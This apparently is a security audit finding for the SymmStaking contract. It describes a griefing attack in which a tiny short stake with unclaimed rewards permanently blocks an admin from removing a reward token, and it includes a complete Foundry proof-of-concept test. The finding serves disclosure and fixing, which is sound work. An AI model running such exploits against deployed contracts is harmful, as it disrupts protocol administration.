Ancient Cinnamon Hawk

Medium

# Attacker Stakes a Minimal Amount to Prevent `REWARD_MANAGER_ROLE` from Removing a Reward Token


## Root Cause

An attacker by staking a very small amount of the staking token (SYMM) for a very short period and then never withdrawing those rewards, can cause the `pendingReward` for the reward token to exceed the threshold of `10` (11 is sufficient).

As a result, the following [check](https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/d7cf7fc96af1c25b53a7b500a98b411cd018c0d3/token/contracts/staking/SymmStaking.sol#L320) in the [configureRewardToken()](https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/d7cf7fc96af1c25b53a7b500a98b411cd018c0d3/token/contracts/staking/SymmStaking.sol#L312) function always reverts:

```javascript
if (pendingRewards[token] > 10) revert OngoingRewardPeriodForToken(token, pendingRewards[token]);
```

## Recommended Mitigation

Remove the check.

## Summary

The amount of rewards a user earns is calculated based on the quantity of staked tokens and the duration of the stake.

The `configureRewardToken()` function is used to whitelist/blacklist a token as a reward token.

An attacker can stake a minimal amount for a very short period to accumulate `11` units of reward tokens, then unstake without ever withdrawing those rewards.

Consequently, the admin will be permanently prevented from blacklisting and removing that whitelisted token because the check in the `configureRewardToken()` function will always revert:

```javascript
function configureRewardToken(address token, bool status) external onlyRole(REWARD_MANAGER_ROLE) {
    // ...
    if (!status) {
@>      if (pendingRewards[token] > 10) revert OngoingRewardPeriodForToken(token, pendingRewards[token]);
    // ...
    } else {
    // ...
    }
    // ...
}
```

## Impact

The admin will be unable to blacklist a whitelisted token if needed.

## POC

```javascript

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.18;




// ============= Imports ============= //
//
import   {    Test, console   }   from   "forge-std/Test.sol";
import   {    SymmStaking     }   from   "../src/staking/SymmStaking.sol";
import   {    Symmio          }   from   "../src/token/symm.sol";
import   {    MockERC20       }   from   "lib/solmate/src/test/utils/mocks/MockERC20.sol";


// ============= Notes ============= //
//
// - change symm.sol solidity version to 0.8.18 so it compiles if you're encountring issues.
// - install solmate library, we're going to need to create mock usdc contract

contract SymmStakingTest is Test {

    
    address admin      =   makeAddr("admin");
    address stakingToken;

    // reward token is USDC (6 decimals)
    address usdc;

    // symmStaking contract
    SymmStaking symmStaking;


    address attacker = makeAddr("attacker");


    function setUp() external {
        vm.startPrank(admin);

                // 1. initialize SymmStaking Contract
                _initializeSymmstaking();

                // 2. add USDC to SymmStaking reward tokens list
                _addRewardToken();

                // 3. deposit rewards into staking contract
                _depositRewards();

                // 4. mint Symm Tokens to attacker
                _mintSymmTokens();

        vm.stopPrank();
    }


    // run the test with: forge test --match-test test_attack --fork-url https://base-rpc.publicnode.com  -vvv
    function test_attack() public {

        // 1. attacker stakes 
        _attackerDepositsSymmTokens();

        // 2. 1 minutes passes
        skip(1 minutes);

        // 3. attacker withdraws staked tokens
        _attackerWithdrawsStakedTokens();

        // 4. admin tries to remove usdc from reward tokens list but can't
        _adminRemoveTokenFromRewardTokensList();

    }
    

    // ============= Following Functions Below, are used to demonstrate the attack ============= //

    function _attackerDepositsSymmTokens() internal {
        vm.startPrank(attacker);

                // 1. attacker, deposits 10 units of SYMM Tokens to staking contract
                Symmio(stakingToken).approve(address(symmStaking), 10);
                symmStaking.deposit(10, attacker);

        vm.stopPrank();
    }


    function _attackerWithdrawsStakedTokens() internal {
        vm.startPrank(attacker);

                // 1. withdraw tokens and log how much rewards have attacker earned in 1 minute
                symmStaking.withdraw(10, attacker);

        console.log("This is the amount of rewards that the attacker has earned in just one minute: ", symmStaking.rewards(attacker, usdc));
        console.log("This is just enough to prevent the admin from removing the reward token from the array.");
        vm.stopPrank();
    }


    function _adminRemoveTokenFromRewardTokensList() internal {
        vm.startPrank(admin);
        vm.expectRevert();

                // 1. admin tries to remove usdc from reward tokens list
                symmStaking.configureRewardToken(usdc, false);

        console.log("As we can see, the admin is unable to remove the reward token from the array, and the attacker has no intention of withdrawing those rewards.");
        vm.stopPrank();
    }

    // ============= Following Functions Below, are used to setUp SymmStaking Contract ============= //

    function _initializeSymmstaking() internal {

        // 1. deploy and set staking token. also grant minter role to admin.
        stakingToken = address(new Symmio("Symmio", "SYMM", admin));
        Symmio(stakingToken).grantRole(keccak256("MINTER_ROLE"), admin);

        // 2. initialize SymmStaking contract
        symmStaking = new SymmStaking();
        symmStaking.initialize(admin, stakingToken);

    }

    function _addRewardToken() internal {

        // 1. deploy usdc mock contract
        usdc = address(new MockERC20("USDC", "USDC", 6));

        // 2. add usdc to symmStaking contract reward tokens list
        symmStaking.configureRewardToken(usdc, true);

    }

    function _depositRewards() internal {

        // 1. mint some amount of usdc to admin
        MockERC20(usdc).mint(admin, 10_000e6);

        // 2. deposit rewards (usdc) into symmStaking contract
        address[] memory token    =   new address[](1);
        uint256[] memory amount   =   new uint256[](1);

        token[0]  =  usdc;
        amount[0] =  10_000e6;

        MockERC20(usdc).approve(address(symmStaking), 10_000e6); // $10k reward in usdc


        symmStaking.notifyRewardAmount(token, amount);
        
    }

    function _mintSymmTokens() internal {
        // 1. mint 10 units of symm tokens attacker
        Symmio(stakingToken).mint(attacker, 10);
    }

}
```